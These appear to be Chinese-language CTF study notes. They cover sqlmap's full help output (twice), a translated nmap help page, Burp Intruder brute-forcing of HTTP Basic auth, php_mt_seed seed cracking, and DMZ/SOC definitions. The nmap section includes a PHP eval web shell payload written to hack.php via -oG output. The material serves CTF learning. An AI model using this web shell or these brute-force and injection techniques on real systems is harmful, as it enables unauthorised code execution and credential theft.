关于CTF测试的步骤

前端收集

1.扫站
2.在前端的页面进行观察,观察任何存在漏洞的漏洞点
存在的漏洞点:
模板漏洞{{}}
输入框SQL注入漏洞
表单get传参漏洞
文件上传漏洞
3.针对收集的信息进行测试

SQLmap

英文版全解释:

Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)

Target:
At least one of these options has to be provided to define the
target(s)

-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-d DIRECT Connection string for direct database connection
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file
-m BULKFILE Scan multiple targets given in a textual file
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs
-c CONFIGFILE Load options from a configuration INI file

Request:
These options can be used to specify how to connect to the target URL

-A AGENT, --user.. HTTP User-Agent header value
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--method=METHOD Force usage of given HTTP method (e.g. PUT)
--data=DATA Data string to be sent through POST (e.g. "id=1")
--param-del=PARA.. Character used for splitting parameter values (e.g. &)
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--cookie-del=COO.. Character used for splitting cookie values (e.g. ;)
--live-cookies=L.. Live cookies file used for loading up-to-date values
--load-cookies=L.. File containing cookies in Netscape/wget format
--drop-set-cookie Ignore Set-Cookie header from response
--mobile Imitate smartphone through HTTP User-Agent header
--random-agent Use randomly selected HTTP User-Agent header value
--host=HOST HTTP Host header value
--referer=REFERER HTTP Referer header value
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, Bearer, ...)
--auth-cred=AUTH.. HTTP authentication credentials (name:password)
--auth-file=AUTH.. HTTP authentication PEM cert/private key file
--abort-code=ABO.. Abort on (problematic) HTTP error code(s) (e.g. 401)
--ignore-code=IG.. Ignore (problematic) HTTP error code(s) (e.g. 401)
--ignore-proxy Ignore system default proxy settings
--ignore-redirects Ignore redirection attempts
--ignore-timeouts Ignore connection timeouts
--proxy=PROXY Use a proxy to connect to the target URL
--proxy-cred=PRO.. Proxy authentication credentials (name:password)
--proxy-file=PRO.. Load proxy list from a file
--proxy-freq=PRO.. Requests between change of proxy from a given list
--tor Use Tor anonymity network
--tor-port=TORPORT Set Tor proxy port other than default
--tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
--check-tor Check to see if Tor is used properly
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--retry-on=RETRYON Retry request on regexp matching content (e.g. "drop")
--randomize=RPARAM Randomly change value for given parameter(s)
--safe-url=SAFEURL URL address to visit frequently during testing
--safe-post=SAFE.. POST data to send to a safe URL
--safe-req=SAFER.. Load safe HTTP request from a file
--safe-freq=SAFE.. Regular requests between visits to a safe URL
--skip-urlencode Skip URL encoding of payload data
--csrf-token=CSR.. Parameter used to hold anti-CSRF token
--csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token
--csrf-method=CS.. HTTP method to use during anti-CSRF token page visit
--csrf-data=CSRF.. POST data to send during anti-CSRF token page visit
--csrf-retries=C.. Retries for anti-CSRF token retrieval (default 0)
--force-ssl Force usage of SSL/HTTPS
--chunked Use HTTP chunked transfer encoded (POST) requests
--hpp Use HTTP parameter pollution method
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")

Optimization:
These options can be used to optimize the performance of sqlmap

-o Turn on all optimization switches
--predict-output Predict common queries output
--keep-alive Use persistent HTTP(s) connections
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)

Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts

-p TESTPARAMETER Testable parameter(s)
--skip=SKIP Skip testing for given parameter(s)
--skip-static Skip testing parameters that not appear to be dynamic
--param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")
--param-filter=P.. Select testable parameter(s) by place (e.g. "POST")
--dbms=DBMS Force back-end DBMS to provided value
--dbms-cred=DBMS.. DBMS authentication credentials (user:password)
--os=OS Force back-end DBMS operating system to provided value
--invalid-bignum Use big numbers for invalidating values
--invalid-logical Use logical operations for invalidating values
--invalid-string Use random strings for invalidating values
--no-cast Turn off payload casting mechanism
--no-escape Turn off string escaping mechanism
--prefix=PREFIX Injection payload prefix string
--suffix=SUFFIX Injection payload suffix string
--tamper=TAMPER Use given script(s) for tampering injection data

Detection:
These options can be used to customize the detection phase

--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
--string=STRING String to match when query is evaluated to True
--not-string=NOT.. String to match when query is evaluated to False
--regexp=REGEXP Regexp to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--smart Perform thorough tests only if positive heuristic(s)
--text-only Compare pages based only on the textual content
--titles Compare pages based only on their titles

Techniques:
These options can be used to tweak testing of specific SQL injection
techniques

--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file

Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint

Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables

-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--hostname Retrieve DBMS server hostname
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
--search Search column(s), table(s) and/or database name(s)
--comments Check for DBMS comments during enumeration
--statements Retrieve SQL statements being run on DBMS
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
-X EXCLUDE DBMS database identifier(s) to not enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--pivot-column=P.. Pivot column name
--where=DUMPWHERE Use WHERE condition while table dumping
--start=LIMITSTART First dump table entry to retrieve
--stop=LIMITSTOP Last dump table entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=SQLQ.. SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
--sql-file=SQLFILE Execute SQL statements from given file(s)

Brute force:
These options can be used to run brute force checks

--common-tables Check existence of common tables
--common-columns Check existence of common columns
--common-files Check existence of common files

User-defined function injection:
These options can be used to create custom user-defined functions

--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library

File system access:
These options can be used to access the back-end database management
system underlying file system

--file-read=FILE.. Read a file from the back-end DBMS file system
--file-write=FIL.. Write a local file on the back-end DBMS file system
--file-dest=FILE.. Back-end DBMS absolute filepath to write to

Operating system access:
These options can be used to access the back-end database management
system underlying operating system

--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory

Windows registry access:
These options can be used to access the back-end database management
system Windows registry

--reg-read Read a Windows registry key value
--reg-add Write a Windows registry key value data
--reg-del Delete a Windows registry key value
--reg-key=REGKEY Windows registry key
--reg-value=REGVAL Windows registry key value
--reg-data=REGDATA Windows registry key value data
--reg-type=REGTYPE Windows registry key value type

General:
These options can be used to set some general working parameters

-s SESSIONFILE Load session from a stored (.sqlite) file
-t TRAFFICFILE Log all HTTP traffic into a textual file
--abort-on-empty Abort data retrieval on empty results
--answers=ANSWERS Set predefined answers (e.g. "quit=N,follow=N")
--base64=BASE64P.. Parameter(s) containing Base64 encoded data
--base64-safe Use URL and filename safe Base64 alphabet (RFC 4648)
--batch Never ask for user input, use the default behavior
--binary-fields=.. Result fields having binary values (e.g. "digest")
--check-internet Check Internet connection before assessing the target
--cleanup Clean up the DBMS from sqlmap specific UDF and tables
--crawl=CRAWLDEPTH Crawl the website starting from the target URL
--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")
--csv-del=CSVDEL Delimiting character used in CSV output (default ",")
--charset=CHARSET Blind SQL injection charset (e.g. "0123456789abcdef")
--dump-file=DUMP.. Store dumped data to a custom file
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
--encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK)
--eta Display for each output the estimated time of arrival
--flush-session Flush session files for current target
--forms Parse and test forms on target URL
--fresh-queries Ignore query results stored in session file
--gpage=GOOGLEPAGE Use Google dork results from specified page number
--har=HARFILE Log all HTTP traffic into a HAR file
--hex Use hex conversion during data retrieval
--output-dir=OUT.. Custom output directory path
--parse-errors Parse and display DBMS error messages from responses
--preprocess=PRE.. Use given script(s) for preprocessing (request)
--postprocess=PO.. Use given script(s) for postprocessing (response)
--repair Redump entries having unknown character marker (?)
--save=SAVECONFIG Save options to a configuration INI file
--scope=SCOPE Regexp for filtering targets
--skip-heuristics Skip heuristic detection of vulnerabilities
--skip-waf Skip heuristic detection of WAF/IPS protection
--table-prefix=T.. Prefix used for temporary tables (default: "sqlmap")
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)
--web-root=WEBROOT Web server document root directory (e.g. "/var/www")

Miscellaneous:
These options do not fit into any other category

-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
--alert=ALERT Run host OS command(s) when SQL injection is found
--beep Beep on question and/or when vulnerability is found
--dependencies Check for missing (optional) sqlmap dependencies
--disable-coloring Disable console output coloring
--list-tampers Display list of available tamper scripts
--no-logging Disable logging to a file
--offline Work in offline mode (only use session data)
--purge Safely remove all content from sqlmap data directory
--results-file=R.. Location of CSV results file in multiple targets mode
--shell Prompt for an interactive sqlmap shell
--tmp-dir=TMPDIR Local directory for storing temporary files
--unstable Adjust options for unstable connections
--update Update sqlmap
--wizard Simple wizard interface for beginner users

Press Enter to continue...

尝试部分机翻:

Usage: sqlmap.py [options]


选项:
-h, --help 显示基本帮助消息并退出
-hh 显示高级帮助消息并退出
--version 显示程序的版本号并退出
-v VERBOSE 详细级别:0-6(默认1


目标:
必须至少提供其中一个选项来定义目标


-u URL, --url=URL 目标网址 (e.g. "http://www.site.com/vuln.php?id=1")
-d DIRECT 直接数据库连接的连接字符串
-l LOGFILE 从Burp或WebScarab代理日志文件解析目标
-m BULKFILE 扫描文本文件中给定的多个目标
-r REQUESTFILE 从文件加载HTTP请求
-g GOOGLEDORK 将Google傻瓜结果处理为目标URL
-c CONFIGFILE 从配置INI文件加载选项


请求:
这些选项可用于指定如何连接到目标URL


-A AGENT, --user.. HTTP User-Agent标头值
-H HEADER, --hea.. 额外标头 (e.g. "X-Forwarded-For: 127.0.0.1")
--method=METHOD 强制使用给定的HTTP方法 (e.g. PUT)
--data=DATA 通过POST发送的数据字符串 (e.g. "id=1")
--param-del=PARA.. 用于分割参数值的字符 (e.g. &)
--cookie=COOKIE HTTP Cookie标头值 (e.g. "PHPSESSID=a8d127e..")
--cookie-del=COO.. 用于拆分cookie值的字符 (e.g. ;)
--live-cookies=L.. 用于加载最新值的实时cookie文件
--load-cookies=L.. 包含Netscape/wget格式的cookie的文件
--drop-set-cookie 从响应中忽略Set-Cookie标头
--mobile 通过HTTP User-Agent标头模仿智能手机
--random-agent Use randomly selected HTTP User-Agent header value
--host=HOST HTTP主机标头值
--referer=REFERER HTTP Referer标头值
--headers=HEADERS 额外标题 (e.g. "Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, Bearer, ...)
--auth-cred=AUTH.. HTTP authentication credentials (name:password)
--auth-file=AUTH.. HTTP authentication PEM cert/private key file
--abort-code=ABO.. Abort on (problematic) HTTP error code(s) (e.g. 401)
--ignore-code=IG.. Ignore (problematic) HTTP error code(s) (e.g. 401)
--ignore-proxy Ignore system default proxy settings
--ignore-redirects Ignore redirection attempts
--ignore-timeouts Ignore connection timeouts
--proxy=PROXY Use a proxy to connect to the target URL
--proxy-cred=PRO.. Proxy authentication credentials (name:password)
--proxy-file=PRO.. Load proxy list from a file
--proxy-freq=PRO.. Requests between change of proxy from a given list
--tor Use Tor anonymity network
--tor-port=TORPORT Set Tor proxy port other than default
--tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
--check-tor Check to see if Tor is used properly
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--retry-on=RETRYON Retry request on regexp matching content (e.g. "drop")
--randomize=RPARAM Randomly change value for given parameter(s)
--safe-url=SAFEURL URL address to visit frequently during testing
--safe-post=SAFE.. POST data to send to a safe URL
--safe-req=SAFER.. Load safe HTTP request from a file
--safe-freq=SAFE.. Regular requests between visits to a safe URL
--skip-urlencode Skip URL encoding of payload data
--csrf-token=CSR.. Parameter used to hold anti-CSRF token
--csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token
--csrf-method=CS.. HTTP method to use during anti-CSRF token page visit
--csrf-data=CSRF.. POST data to send during anti-CSRF token page visit
--csrf-retries=C.. Retries for anti-CSRF token retrieval (default 0)
--force-ssl Force usage of SSL/HTTPS
--chunked Use HTTP chunked transfer encoded (POST) requests
--hpp Use HTTP parameter pollution method
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")


Optimization:
These options can be used to optimize the performance of sqlmap


-o 打开所有优化开关
--predict-output 预测常见查询输出
--keep-alive 使用持久HTTP(s)连接
--null-connection 检索没有实际HTTP响应正文的页面长度
--threads=THREADS 最大并发HTTP请求数 (default 1)


Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts

-p TESTPARAMETER Testable parameter(s)
--skip=SKIP Skip testing for given parameter(s)
--skip-static Skip testing parameters that not appear to be dynamic
--param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")
--param-filter=P.. Select testable parameter(s) by place (e.g. "POST")
--dbms=DBMS Force back-end DBMS to provided value
--dbms-cred=DBMS.. DBMS authentication credentials (user:password)
--os=OS Force back-end DBMS operating system to provided value
--invalid-bignum Use big numbers for invalidating values
--invalid-logical Use logical operations for invalidating values
--invalid-string Use random strings for invalidating values
--no-cast Turn off payload casting mechanism
--no-escape Turn off string escaping mechanism
--prefix=PREFIX Injection payload prefix string
--suffix=SUFFIX Injection payload suffix string
--tamper=TAMPER Use given script(s) for tampering injection data

Detection:
These options can be used to customize the detection phase

--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
--string=STRING String to match when query is evaluated to True
--not-string=NOT.. String to match when query is evaluated to False
--regexp=REGEXP Regexp to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--smart Perform thorough tests only if positive heuristic(s)
--text-only Compare pages based only on the textual content
--titles Compare pages based only on their titles

Techniques:
These options can be used to tweak testing of specific SQL injection
techniques

--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file

Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint

Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables

-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--hostname Retrieve DBMS server hostname
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
--search Search column(s), table(s) and/or database name(s)
--comments Check for DBMS comments during enumeration
--statements Retrieve SQL statements being run on DBMS
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
-X EXCLUDE DBMS database identifier(s) to not enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--pivot-column=P.. Pivot column name
--where=DUMPWHERE Use WHERE condition while table dumping
--start=LIMITSTART First dump table entry to retrieve
--stop=LIMITSTOP Last dump table entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=SQLQ.. SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
--sql-file=SQLFILE Execute SQL statements from given file(s)

Brute force:
These options can be used to run brute force checks

--common-tables Check existence of common tables
--common-columns Check existence of common columns
--common-files Check existence of common files

User-defined function injection:
These options can be used to create custom user-defined functions

--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library

File system access:
These options can be used to access the back-end database management
system underlying file system

--file-read=FILE.. Read a file from the back-end DBMS file system
--file-write=FIL.. Write a local file on the back-end DBMS file system
--file-dest=FILE.. Back-end DBMS absolute filepath to write to

Operating system access:
These options can be used to access the back-end database management
system underlying operating system

--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory

Windows registry access:
These options can be used to access the back-end database management
system Windows registry

--reg-read Read a Windows registry key value
--reg-add Write a Windows registry key value data
--reg-del Delete a Windows registry key value
--reg-key=REGKEY Windows registry key
--reg-value=REGVAL Windows registry key value
--reg-data=REGDATA Windows registry key value data
--reg-type=REGTYPE Windows registry key value type

General:
These options can be used to set some general working parameters

-s SESSIONFILE Load session from a stored (.sqlite) file
-t TRAFFICFILE Log all HTTP traffic into a textual file
--abort-on-empty Abort data retrieval on empty results
--answers=ANSWERS Set predefined answers (e.g. "quit=N,follow=N")
--base64=BASE64P.. Parameter(s) containing Base64 encoded data
--base64-safe Use URL and filename safe Base64 alphabet (RFC 4648)
--batch Never ask for user input, use the default behavior
--binary-fields=.. Result fields having binary values (e.g. "digest")
--check-internet Check Internet connection before assessing the target
--cleanup Clean up the DBMS from sqlmap specific UDF and tables
--crawl=CRAWLDEPTH Crawl the website starting from the target URL
--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")
--csv-del=CSVDEL Delimiting character used in CSV output (default ",")
--charset=CHARSET Blind SQL injection charset (e.g. "0123456789abcdef")
--dump-file=DUMP.. Store dumped data to a custom file
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
--encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK)
--eta Display for each output the estimated time of arrival
--flush-session Flush session files for current target
--forms Parse and test forms on target URL
--fresh-queries Ignore query results stored in session file
--gpage=GOOGLEPAGE Use Google dork results from specified page number
--har=HARFILE Log all HTTP traffic into a HAR file
--hex Use hex conversion during data retrieval
--output-dir=OUT.. Custom output directory path
--parse-errors Parse and display DBMS error messages from responses
--preprocess=PRE.. Use given script(s) for preprocessing (request)
--postprocess=PO.. Use given script(s) for postprocessing (response)
--repair Redump entries having unknown character marker (?)
--save=SAVECONFIG Save options to a configuration INI file
--scope=SCOPE Regexp for filtering targets
--skip-heuristics Skip heuristic detection of vulnerabilities
--skip-waf Skip heuristic detection of WAF/IPS protection
--table-prefix=T.. Prefix used for temporary tables (default: "sqlmap")
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)
--web-root=WEBROOT Web server document root directory (e.g. "/var/www")

Miscellaneous:
These options do not fit into any other category

-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
--alert=ALERT Run host OS command(s) when SQL injection is found
--beep Beep on question and/or when vulnerability is found
--dependencies Check for missing (optional) sqlmap dependencies
--disable-coloring Disable console output coloring
--list-tampers Display list of available tamper scripts
--no-logging Disable logging to a file
--offline Work in offline mode (only use session data)
--purge Safely remove all content from sqlmap data directory
--results-file=R.. Location of CSV results file in multiple targets mode
--shell Prompt for an interactive sqlmap shell
--tmp-dir=TMPDIR Local directory for storing temporary files
--unstable Adjust options for unstable connections
--update Update sqlmap
--wizard Simple wizard interface for beginner users

Press Enter to continue...

nmap

下面是工具内的简单翻译介绍

Nmap 7.94SVN(https://nmap.org)
用法:nmap[扫描类型][选项]{目标规范}
目标规格:
可以传递主机名、IP地址、网络等。
例如:scanme.nmap.org、microsoft.com/24、192.168.0.1;10.0.0-255.1-254
-iL<inputfilename>:来自主机/网络列表的输入
-iR<num host>:选择随机目标
--排除<host1[, host2][,host3],…>:排除主机/网络
--排除<exclude_file>:从文件中排除列表
主机发现:
-sL: List Scan-简单地列出要扫描的目标
-sn: Ping Scan-禁用端口扫描
-pn:将所有主机视为在线--跳过主机发现
-PS/PA/PU/PY[portlist]: TCP SYN/确认字符,UDP或SCTP发现给定端口
-PE/PP/PM:ICMP回显、时间戳和网络掩码请求发现探测
-PO[协议列表]:IP协议ping
-n/-R:从不做DNS解析/总是解析[默认:有时]
--dns-server<serv1[, serv2],…>:指定自定义DNS服务器
--system-dns:使用操作系统的DNS解析器
--traceroute:跟踪每个主机的跳转路径
扫描技术:
-sS/sT/sA/sW/sM: TCP SYN/Connect()/确认字符/窗口/Maimon扫描
-sU:UDP扫描
-sN/sF/sX:TCP Null、FIN和圣诞节扫描
自定义TCP扫描标志
-sI<僵尸主机[: probeport]>:空闲扫描
-sY/sZ:SCTP INIT/COOKIE-ECHO扫描
-sO:IP协议扫描
-b<FTP中继主机>:FTP反弹扫描
端口规格和扫描顺序:
-p<port range>:仅扫描指定端口
Ex:-p22;-p1-65535;-p U: 53,111,137,T:21-25,80,139,8080,S:9
--exure-port<port range>:从扫描中排除指定端口
-F:快速模式-扫描比默认扫描更少的端口
-r:按顺序扫描端口-不要随机化
--top-port<number>:扫描<number>最常见的端口
--port-比例<比例>:比<比例>更常见的扫描端口
服务/版本检测:
-sV:探测打开的端口以确定服务/版本信息
--version-强度<level>:从0(光)设置为9(尝试所有探头)
--version-light:限制为最可能的探针(强度2)
--version-all:尝试每个探针(强度9)
--version-traces:显示详细的版本扫描活动(用于调试)
脚本扫描:
-sC:相当于--script=default
--script=<Lua脚本>:<Lua脚本>是一个逗号分隔的列表
目录、脚本文件或脚本类别
--script-args=<n1=v1,[n2=v2,…]>:为脚本提供参数
--script-args-file=filename:在文件中提供NSE脚本参数
--script-traces:显示发送和接收的所有数据
--script-updatedb:更新脚本数据库。
--script-help=<Lua脚本>:显示有关脚本的帮助。
<Lua脚本>是以逗号分隔的脚本文件列表或
脚本类别。
操作系统检测:
-O:启用操作系统检测
--osscan-limited:将操作系统检测限制在有希望的目标
--osscan-猜测:更积极地猜测操作系统
时间和性能:
取<time>的选项以秒为单位,或附加“ms”(毫秒),
s'(秒)、'm'(分钟)或'h'(小时)的值(例如30m)。
-T<0-5>:设置计时模板(越高越快)
--min-hostgroup/max-hostgroup<size>:并行主机扫描组大小
--min-并行/max-并行<numproes>:探头并行化
--min-rtt-timeout/max-rtt-timeout/初始rtt-timeout<time>:指定
探测往返时间。
--max-重试<尝试>:端口扫描探测重传的上限数量。
--host-timeout<time>:这么长时间后放弃目标
--scan-延迟/--max-scan-延迟<time>:调整探针之间的延迟
--min-rate<number>:每秒发送数据包不慢于<number>
--max-rate<number>:每秒发送数据包的速度不超过<number>
防火墙/IDS规避和欺骗:
-f;--mtu<val>:片段数据包(可选w/给定MTU)
使用诱饵隐藏扫描
-s<IP_Address>:欺骗源地址
-e<iface>:使用指定的接口
-g/--source ce-port<portnum>:使用给定的端口号
--proxies<url1,[url2],…>:通过HTTP/SOCKS4代理中继连接
--data<hex string>:将自定义有效负载附加到发送的数据包
--data-string<string>:将自定义ASCII字符串附加到发送的数据包
--data-long<num>:将随机数据附加到发送的数据包
--ip-tions<tions>:发送具有指定ip选项的数据包
--ttl<val>:设置IP生存时间字段
--spof-mac<mac地址/前缀/供应商名称>:欺骗你的MAC地址
--badsum:发送带有虚假TCP/UDP/SCTP校验和的数据包
输出:
-oN/-oX/-oS/-oG<file>:正常输出扫描,XML,s|<rIpt kIddi3,
和Grepable格式,分别为给定的文件名。
-oA<basename>:同时以三种主要格式输出
-v:增加冗长级别(使用-vv或更多以获得更大效果)
-d:提高调试级别(使用-dd或更多以获得更大效果)
显示端口处于特定状态的原因
--open:仅显示打开(或可能打开)的端口
--packet-traces:显示所有发送和接收的数据包
--iflist:打印主机接口和路由(用于调试)
--append-out:附加到而不是关闭指定的输出文件
--Recovery<filename>:恢复中止的扫描
--非交互式:通过键盘禁用运行时交互
--stylesheet<path/URL>: XSL样式表将XML输出转换为超文本标记语言
--webxml:引用Nmap.Org的样式表以获得更可移植的XML
--no-stylesheet:防止将XSL样式表与XML输出相关联
MISC:
-6:启用IPv6扫描
-A:启用操作系统检测、版本检测、脚本扫描和traceroute
--datadir<digname>:指定自定义Nmap数据文件位置
--send-eth/--send-ip:使用原始以太网帧或IP数据包发送
--特权:假设用户是完全特权的
--非特权:假设用户缺乏原始套接字权限
-V:打印版本号
-h:打印此帮助摘要页面。
示例:
nmap-v-Ascanme.nmap.org
nmap-v-sn192.168.0.0/1610.0.0.0/8
nmap-v-iR 10000-Pn-p 80
有关更多选项和示例,请参阅手册页(https://nmap.org/book/man.html)

相对正确的nmap中文翻译参照:点我

ctf使用到的:

选项 解释
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件
选项-oG 将结果Grep保存。

构造' <?= @eval($_POST["hack"]);?> -oG hack.php '

使用范例

nc连接工具

nc 俗称瑞士军刀


BURP

爆破

1. 拦截到数据包后,把数据包转发到测试器
2. 在测试器当中的Positions 给
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=
添加变量
Authorization: Basic §dXNlcm5hbWU6cGFzc3dvcmQ=§

3.转到Payloads选项卡:
这是从上到下的四个选项卡,不懂的自己拿手机翻译
1.有效荷载集:
有效荷载集:1
有效荷载类型:自定义迭代器

2.有效荷载集选项[自定义迭代器]
位置 1
在载入处选一个后台用户名字典进行载入
或者底部写入 admin 点击添加按钮手动输入用户名字典
位置 2
在底部手动输入 : 并且添加上去即可
位置 3
在载入处选一个后台密码字典进行载入
或者底部写入 password 点击添加按钮手动输入密码字典
"迭代器的原理:把位置1~3进行组合爆破"

3.有效荷载处理
1.点击添加按钮
2.选择数据类型为:编码
3.再在第二个选项卡选择base64编码
4.有效荷载编码
取消URL编码:把那个勾勾去掉就行
"补充:数据包的数据头主体没必要使用URL编码"

脚本爆破

爆破随机数种子:

https://www.openwall.com/php_mt_seed/
上面那个网址是工具网址,下面的部分是带链接的字体,选择4.0的版本下载
php_mt_seed 4.0 and its signature
php_mt_seed 3.4 and its signature
下载完成放到Linux解压后,使用make创建
make后,使用如下方法获得seed种子:
[xxx@root php]# ./php_mt_seed 2063909976

术语

DMZ区域:

它是为了解决安装防火墙后外部网络不能访问内部网络服务器的问题,而设立的一个位于内部网络与外部网络之间的缓冲区,在这个网络区域内可以放置一些公开的服务器资源。

例如FTP服务器、E-Mail服务器及网站服务器等允许外部用户访问这些服务器,但不可能接触到存放在内网中的信息,就算黑客入侵DMZ 中服务器,也不会影响到公司内部网络安全,不允许任何外部网络的直接访问,实现内外网分离,在企业的信息安全防护加了一道屏障。

SOC

安全运营中心 (SOC) 有时也称为信息安全运营中心 (ISOC),是 IT 安全专业人员的内部或外包团队,可 24/7 式全天候监控组织的整个 IT 基础架构,以实时检测网络安全事件,并尽可能快速而有效地解决问题。

SOC 还负责筛选、运营和维护组织的网络安全技术,并持续分析威胁数据,以找到方法来改善组织的安全态势。

运营或外包 SOC 的主要优势在于它可统一并协调组织的安全工具、实践以及对安全事件的响应。 这通常能够改进预防措施和安全策略、更快地检测威胁以及对安全威胁作出更快、更有效且更具成本效益的响应。 SOC 还可以提高客户信心,简化并加强组织针对行业、国家和全球隐私法规的合规性。